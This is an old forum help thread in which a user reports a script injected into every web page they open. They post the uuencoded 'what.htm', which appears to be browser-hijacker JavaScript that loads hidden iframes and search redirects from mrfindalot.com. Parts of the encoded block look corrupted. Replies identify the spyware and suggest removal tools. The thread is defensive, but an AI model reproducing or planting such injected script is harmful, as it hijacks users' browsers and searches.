Could This Be a Virus?!

Do you have a question? Post it now! No Registration Necessary.  Now with pictures!

Threaded View
I'm having a heck of a time trying to figure this out.  In the "head"
section of every page I open on the internet,  what is contained in the
"what.htm" attaches in my browser.  The only external reference in the doc
is www.mrfindalot.com  When I put www.mrfindalot.com in the address window
and hit enter the browser shuts down.  When I put just mrfindalot in ANY
search engine the browser shuts down.
I use network associates McAfee Virus scan enterprise 7 for my protection
with new definitions.  I use Ad-aware SE personal 1.05 and the definitions
are new.  I also use Spybot - Search & Destroy.  Definitions are new.
I do web work and I use notepad to edit the pages for fine tuning.  It
doesn't matter WHAT page I open the script is always there.


begin 666 what.htm
M/$A434P^#0H$5!1#X-"CQ$258@;VYM;W5S96]V97(](G%L7V1I=E]M;W5S
M94]V97(H*3LB(&]N;6]U<V5O=70](G%L7V1I=E]M;W5S94]U="@I.R(@8VQA
M)SX\+T1)5CX$E6(&]N;6]U<V5O=F5R/2)Q;%]D:79?;6]U<V5/=F5R*"D[
M(B!O;FUO=7-E;W5T/2)Q;%]D:79?;6]U<V5/=70H*3LB(&-L87-S/2=Q;%]T
M:7!";W@G(&ED/2=Q;%]T:7!";W@G(&YA;64])W%L7W1I<$)O>"<^/"]$258^
M/$1)5B!O;FUO=7-E;W9E<CTB<6Q?9&EV7VUO=7-E3W9E<B@I.R(@;VYM;W5S
M96]U=#TB<6Q?9&EV7VUO=7-E3W5T*"D[(B!C;&%S<STG<6Q?=&EP0F]X)R!I
M9#TG<6Q?=&EP0F]X)R!N86UE/2=Q;%]T:7!";W@G/CPO1$E6/CQ$258@;VYM
M;W5S96]V97(](G%L7V1I=E]M;W5S94]V97(H*3LB(&]N;6]U<V5O=70](G%L
M7V1I=E]M;W5S94]U="@I.R(@8VQA<W,])W%L7W1I<$)O>"<@:60])W%L7W1I
M<$)O>"<@;F%M93TG<6Q?=&EP0F]X)SX\+T1)5CX$E6(&]N;6]U<V5O=F5R
M/2)Q;%]D:79?;6]U<V5/=F5R*"D[(B!O;FUO=7-E;W5T/2)Q;%]D:79?;6]U
M<V5/=70H*3LB(&-L87-S/2=Q;%]T:7!";W@G(&ED/2=Q;%]T:7!";W@G(&YA
M;64])W%L7W1I<$)O>"<^/"]$258^/$1)5B!O;FUO=7-E;W9E<CTB<6Q?9&EV
M7VUO=7-E3W9E<B@I.R(@;VYM;W5S96]U=#TB<6Q?9&EV7VUO=7-E3W5T*"D[
M(B!C;&%S<STG<6Q?=&EP0F]X)R!I9#TG<6Q?=&EP0F]X)R!N86UE/2=Q;%]T
M:7!";W@G/CPO1$E6/CQ$258@;VYM;W5S96]V97(](G%L7V1I=E]M;W5S94]V
M97(H*3LB(&]N;6]U<V5O=70](G%L7V1I=E]M;W5S94]U="@I.R(@8VQA<W,]
M+T1)5CX$E6(&]N;6]U<V5O=F5R/2)Q;%]D:79?;6]U<V5/=F5R*"D[(B!O
M;FUO=7-E;W5T/2)Q;%]D:79?;6]U<V5/=70H*3LB(&-L87-S/2=Q;%]T:7!"
M;W@G(&ED/2=Q;%]T:7!";W@G(&YA;64])W%L7W1I<$)O>"<^/"]$258^/$1)
M5B!O;FUO=7-E;W9E<CTB<6Q?9&EV7VUO=7-E3W9E<B@I.R(@;VYM;W5S96]U
M=#TB<6Q?9&EV7VUO=7-E3W5T*"D[(B!C;&%S<STG<6Q?=&EP0F]X)R!I9#TG
M<6Q?=&EP0F]X)R!N86UE/2=Q;%]T:7!";W@G/CPO1$E6/CQ$258@;VYM;W5S
M96]V97(](G%L7V1I=E]M;W5S94]V97(H*3LB(&]N;6]U<V5O=70](G%L7V1I
M=E]M;W5S94]U="@I.R(@8VQA<W,])W%L7W1I<$)O>"<@:60])W%L7W1I<$)O
M>"<@;F%M93TG<6Q?=&EP0F]X)SX\+T1)5CX-"@T*/%-464Q%/@T*9&EV+G%L
M7W1I<$)O>'L-"@EP;W-I=&EO;CIA8G-O;'5T93L-"@EW:61T:#H@,C0P<'@[
M(#%P="!B;&%C:R!S;VQI9#L-"@EB86-K9W)O=6YD.B C1D9&1D-#.PT*"79I
M<VEB:6QI='DZ(&AI9&1E;CL-"GT-"CPO4U193$4^#0H-"CQ30U))4%0^#0H-
M"F9U;F-T:6]N('%L7V1I=E]M;W5S94]U="@I>R!S96QF+G%L7VES3W9E<E1I
M<" ](&9A;'-E.R!]#0H-"F9U;F-T:6]N('%L7V1I=E]M;W5S94]V97(H*2![
M('-E;&8N<6Q?:7-/=F5R5&EP(#T@=')U93L@?0T*#0IF=6YC=&EO;B!Q;%]D
M:7-P;&%Y0V]N=&5N=',H<75E<GDI("![#0H)=F%R(&5L(#T@<V5L9BYD;V-U
M;65N="YG971%;&5M96YT0GE)9"@G<6Q?9&EV7R<K<75E<GDI.PT*"6EF*"%E
M;"D@>PT*"0EI9BAW:6YD;W<N<V5L9BYF<F%M97,N;&5N9W1H*0T*"0D)96P@
M/2!S96QF+F1O8W5M96YT+F=E=$5L96UE;G1">4ED*"=Q;%]D:79?)RMQ=65R
M>2D[#0H)?0T*"6EF*&5L*2![#0H)"7%L7W-E=%!O<VET:6]N*&5L*3L@<6Q?
M861J=7-T0F]X*"D[#0H)"79A<B!T:7 @/2!S96QF+F1O8W5M96YT+F=E=$5L
M96UE;G1">4ED*"=Q;%]I9G)A;65?)RMS96QF+G%L7VME>7!H<F%S92D[#0H)
M.PT*"0D)=&EP+G-T>6QE+G9I<VEB:6QI='D])VAI9&1E;B<[#0H)?0T*"0E]
M#0I]#0H-"F9U;F-T:6]N('%L7V%D:G5S=$)O>"@I('L-"@EV87(@96P]<V5L
M9BYD;V-U;65N="YG971%;&5M96YT0GE)9"@G<6Q?9&EV7R<K<V5L9BYQ;%]K
M97EP:')A<V4I.PT*"79A<B!T:7 @/2!D;V-U;65N="YG971%;&5M96YT0GE)
M9"@G<6Q?:69R86UE7R<K<V5L9BYQ;%]K97EP:')A<V4I.PT*"6EF*&5L*2![
M#0H)"6EF*&1O8W5M96YT+F)O9'DN8VQI96YT5VED=&@@/" H96PN<W1Y;&4N
M;"YS='EL92YP:7AE;$QE9G0M96PN;V9F<V5T5VED=&@I.PT*"0D):68H<&]S
M(#X@,"D-"@D)"0EE;"YS='EL92YP:7AE;$QE9G0@/2!P;W,[#0H)"7T-"@D)
M96QS92!I9B@H96PN<W1Y;&4N<&EX96Q,969T+65L+F]F9G-E='=I9'1H*2 \
M96Q,969T(#T@96PN<W1Y96PN<&EX96Q,969T("L@96PN;V9F<V5T5VED=&@[
M#0H)"7T-"@D):68H*&1O8W5M96YT+F)O9'DN;V9F<V5T2&5I9VAT*V1O8W5M
M96YT+F)O9'DN<V-R;VQL5&]P*2 \("AE;"YS='EL92YP:7AE;%1O<"ME;"YO
M5&]P+65L+F]F9G-E=$AE:6=H="TQ-2D[#0H)"0EI9BAP;W,@/B H9&]C=6UE
M;G0N8F]D>2YS8W)O;&Q4;W I*0T*"0D)"65L+G-T>6QE+G!I>&5L5&]P(#T@
M<&]S.PT*"0E]#0H)"65L<V4@:68H96PN<W1Y;&4N<&EX96Q4;W @/"!D;V-U
M/2!E;"YS='EL92YP:7AE;%1O<" K(&5L+F]F9G-E=$AE:6=H=" K(#$U.PT*
M"0E]"0T*"7T-"GT-"@T*9G5N8W1I;VX@<6Q?<VAO=T1I=B@I('L-"@EI9BAS
M96QF+G%L7VES3W9E<E1I<"!\?"!S96QF+G%L7VES3W9E<DQI;FLI('L-"@D)
M=F%R('1I<#US96QF+F1O8W5M96YT+F=E=$5L96UE;G1">4ED*"=Q;%]I9G)A
M;65?)RMS96QF+G%L7VME>7!H<F%S92D[#0H)"79A<B!E;" ]('-E;&8N9&]C
M=6UE;G0N9V5T16QE;65N=$)Y260H)W%L7V1I=E\G*W-E;&8N<6Q?:V5Y<&AR
M87-E*3L-"@D):68H(65L*7L@96P@/2!S96QF+F1O8W5M96YT+F=E=$5L96UE
M;G1">4ED*"=Q;%]D:79?)RMS96QF+G%L7VME>7!H<F%S92D[('T-"@D):68H
M96PI('L-"@D)"7%L7V%D:G5S=$)O>"@I.PT*"0D):68H<V5L9BYI<U)E861Y
M/3UT<G5E("8F('1I<"E[#0H)"0D)=&EP+G-T>6QE+G9I<VEB:6QI='D])W9I
M<VEB;&4G.PT*"0D)"65L+G-T>6QE+G9I<VEB:6QI='D@/2 G=FES:6)L92<[
M#0H)"0E]#0H)"0EE;'-E('L@<V5T5&EM96]U="@G<6Q?<VAO=T1I=B@I)RP@
M,RD@?0T*"0E]#0H)?0T*?0T*#0IF=6YC=&EO;B!Q;%]G971/9F9S970H96PL
M('=H:6-H*2![#0H)=F%R(&%M;W5N=" ](&5L6R=O9F9S970G*W=H:6-H73L-
M"@EI9B H=VAI8V@]/2=4;W G*0T*"0D@86UO=6YT*SUE;"YO9F9S971(96EG
M:'0[#0H)96P@/2!E;"YO9F9S971087)E;G0[#0H)=VAI;&4@*&5L(3UN=6QL
M*2![#0H)"6%M;W5N="L]96Q;)V]F9G-E="<K=VAI8VA=.PT*"0EE;" ](&5L
M8W1I;VX@<6Q?<V5T4&]S:71I;VXH96PI('L-"@EI9BAW:6YD;W<N979E;G0I
M('MS<F,@/2!W:6YD;W<N979E;G0N<W)C16QE;65N=#M](&5L<V5[('9A<B!S
M<6Q?9V5T3V9F<V5T*'-R8RP@)U1O<"<I.PT*"6EF*"!S96QF+FYA;64@)B8@
M*'-E;&8N;F%M92 A/2 G;W!E;F5R)RDI('L@96PN<W1Y;&4N<&EX96Q,969T
M("L](#$U.R!]"0T*"65L+G-T>6QE+G!I>&5L3&5F=#T@<6Q?9V5T3V9F<V5T
M*'-R8RP@)TQE9G0G*3L-"GT-"@T*9G5N8W1I;VX@<6Q?9V5T1G)A;653:7IE
M*"E[#0H)"79A<B!E;" ](&1O8W5M96YT+F=E=$5L96UE;G1">4ED*"=Q;%]D
M:79?)RMS96QF+G%L7VME>7!H<F%S92D[#0H)"79A<B!T:7 ](&1O8W5M96YT
M+F=E=$5L96UE;G1">4ED*"=Q;%]I9G)A;65?)RMS96QF+G%L7VME>7!H<F%S
M92D[#0H)"6EF*&5L("8F(&5L+G-T>6QE*2![#0H)"0EE;"YS='EL92YW:61T
M:#UT:7 N<W1Y;&4N=VED=&@[#0H)"0EE;"YS='EL92YH96EG:'0]=&EP+G-T
M>6QE+FAE:6=H=#L-"@D)('T-"B!]#0H-"F9U;F-T:6]N('%L7V1O36]U<V5/
M=F5R*"D@>PT*"79A<B!Q=65R>2 ]('-E;&8N<6Q?:V5Y<&AR87-E.PT*"79A
M<B!E;" ](&1O8W5M96YT+F=E=$5L96UE;G1">4ED*"=Q;%]I9G)A;65?)RMQ
M=65R>2D[#0H):68H(65L*0T*"0ES96QF+F1O8W5M96YT+F=E=$5L96UE;G1"
M>4ED*"=Q;%]I9G)A;65?)RMQ=65R>2D[#0H):68H96PI#0H)"7)E='5R;CL-
M"@EV87(@96QM3&ES=" ](&YE=R!!<G)A>2@I.PT*"65L;4QI<W0@/2!D;V-U
M;65N="YG971%;&5M96YT<T)Y3F%M92@B<6Q?=&EP0F]X(BD[#0H)9F]R*'9A
M<B!I/3 [(&DQM3&ES="YL96YG=&@[(&DK*RD-"@E[#0H)"6EF*&5L;4QI
M.PT*"0D)"6)R96%K.PT*"0E]#0H)?0T*"79A<B!S4&AR87-E(#T@<75E<GDN
M<F5P;&%C92@O7R]G+" B)3(P(BD[#0H)=F%R('1I<#TB/&EF<F%M92!S8W)O
M;&QI;F<];F\@(CL-"@ET:7 @*ST@(G-R8STG:'1T<#HO+W=W=RYM<F9I;F1A
M;&]T+F-O;2]T:7 N87-P/W-I/3(P,#<U)FL](BMS4&AR87-E.PT*"71I<" K
M/2(G(&ED/7%L7VEF<F%M95\B*W%U97)Y*R(@(&]N3&]A9#TG<V5L9BYI<U)E
M861Y/71R=64[)R!O;FUO=7-E;W9E<CTG:68H<V5L9BYQ;%]T:6UE;W5T*2!C
M;&5A<E1I;65O=70H<V5L9BYQ;%]T:6UE;W5T*3L@<V5L9BYQ;%]I<T]V97)4
M:7 @/2!T<G5E.R<@;VYM;W5S96]U=#TG:68H<V5L9BYQ;%]T:6UE;W5T*2!C
M;&5A<E1I;65O=70H<V5L9BYQ;%]T:6UE;W5T*3L@<V5L9BYQ;%]I<T]V97)4
M:7 ]9F%L<V4[('-E;&8N<6Q?:7-/=F5R3&EN:SUF86QS93L@<6Q?8VQO<V5I
M9G)A;64H,34P,"D[)R!W:61T:#TQ,# E(&AE:6=H=#TQ,# E(#X\+VEF<F%M
M93XB.PT*"65L+FEN;F5R2%1-3" ]('1I<#L-"@EE;"YI9#TG<6Q?9&EV7R<K
M<75E<GD[#0H)=F%R(&YO=R ](&YE=R!$871E*"D[#0H)96PN8W)E871E5&EM
M92 ](&YO=RYG9714:6UE*"D[#0H)<V5L9BYQ;%]L87-T7W%U97)Y(#T@<75E
M<GD[#0H)<V5L9BYQ;%]I<T]V97),:6YK/71R=64-"@ES96QF+FES4F5A9'D]
M9F%L<V4[#0H)<6Q?9&ES<&QA>4-O;G1E;G1S*'%U97)Y*3L-"GT-"@T*9G5N
M8W1I;VX@<6Q?9V]396%C:"@I('L-"@EV87(@<U!H<F%S92 ]('-E;&8N<6Q?
M:V5Y<&AR87-E+G)E<&QA8V4H+U\O9RP@(B4R,"(I.PT*"7=I;F1O=RYL;V-A
M=&EO;CTB:'1T<#HO+W=W=RYM<F9I;F1A;&]T+F-O;2]F:6YD+V1I<BYA<W _
M<VD],C P-S4F:STB*W-0:')A<V4[#0I]#0H-"F9U;F-T:6]N('%L7TYE=U=I
M;F1O=U-E87)C:"@I('L-"@EV87(@<U!H<F%S92 ]('-E;&8N<6Q?:V5Y<&AR
M87-E+G)E<&QA8V4H+U\O9RP@(B4R,"(I.PT*"7=I;F1O=RYO<&5N*")H='1P
M.B\O=W=W+FUR9FEN9&%L;W0N8V]M+V9I;F0O9&ER+F%S<#]S:3TR,# W-28F
M<F5F/2(K=VEN9&]W+FQO8V%T:6]N*R(F:STB*W-0:')A<V4@+" G7V)L86YK
M)RP@)W1O;VQB87(]>65S+&QO8V%T:6]N/7EE<RQD:7)E8W1O<FEE<SUY97,L
M<W1A='5S/7EE<RQM96YU8F%R/7EE<RQS8W)O;&QB87)S/7EE<RQC;W!Y:&ES
M=&]R>3UY97,L<F5S:7IA8FQE/7EE<R<I.PT*?0T*#0IF=6YC=&EO;B!Q;%]C
M)SL-"GT-"@T*9G5N8W1I;VX@<6Q?8VQO<V5I9G)A;64H9&5L87DI('L-"@EI
M9BAD96QA>2D-"@E[#0H)"7-E;&8N<6Q?=&EM96]U=" ]('-E=%1I;65O=70H
M)W%L7V-L;W-E:69R86UE*"DG+"!D96QA>2D[#0H)"7)E='5R;CL-"@E]#0H)
M:68H*'-E;&8N<6Q?:7-/=F5R5&EP(#T]('1R=64I*2![(')E='5R;B!F86QS
M93L@?0T*"79A<B!T:7 ]9&]C=6UE;G0N9V5T16QE;65N=$)Y260H)W%L7VEF
M<F%M95\G*W-E;&8N<6Q?:V5Y<&AR87-E*3L@:68H(71I<"D@=&EP/2!S96QF
M+F1O8W5M96YT+F=E=$5L96UE;G1">4ED*"=Q;%]I9G)A;65?)RMS96QF+G%L
M7VQA<W1?<75E<GDI.PT*"79A<B!E;" ]('-E;&8N9&]C=6UE;G0N9V5T16QE
M;65N=$)Y260H)W%L7V1I=E\G*W-E;&8N<6Q?:V5Y<&AR87-E*3L-"@EI9BAE
M;"D@>PT*"0EE;"YS='EL92YV:7-I8FEL:71Y(#T@)VAI9&1E;B<[#0H)?0T*
M"0EV87(@96P]<V5L9BYD;V-U;65N="YG971%;&5M96YT0GE)9"@G<6Q?9&EV
M7R<K<V5L9BYQ;%]K97EP:')A<V4I.PT*"0D):68H96PI#0H)"0D)96PN<W1Y
M;&4N=FES:6)I;&ET>3TG:&ED9&5N)SL-"@D)?0T*"7T-"@EI9BAT:7 I('L-
M"@D)=&EP+G-T>6QE+G9I<VEB:6QI='D])VAI9&1E;B<[#0H)?0T*?0T*/"]3
&0U))4%0^
`
end


Re: Could This Be a Virus?!


Quoted text here. Click to load it

All you have to do to get flooded with information on the
spyware/Trojan you've been hit with is to Google mrfindalot.

I see Kaspersky detects it. You might want to try the KAVDOSNT
utility set I have at my web site. Run the KAVDOSNT.BAT program
to download data bases and then scan Windows, preferably in
Safe mode.

Art
http://home.epix.net/~artnpeg

Re: Could This Be a Virus?!

martha wrote:

Quoted text here. Click to load it

Disable JavaScript, and that probably will not happen.

Quoted text here. Click to load it

Google finds a number of pages, including:
http://www.castlecops.com/t162282-help.html
which seems to imply that HiJackThis will remove it.

Quoted text here. Click to load it

Current version is 1.06r1 (and has been for some time).

Quoted text here. Click to load it

Which version?

Quoted text here. Click to load it

Additionally, try A-Squared.
http://www.emsisoft.com/en/software/free /

http://k75s.home.att.net/tips.html

Incidentally, the domain name you are using for a mung in your post,
doode.com, is real and belongs to someone. By using it, you are no doubt
causing spam to be sent to its mail servers. Please change that to
example.com (which is reserved for the purpose).

--
   -bts
   -Warning: I brake for lawn deer

Site Timeline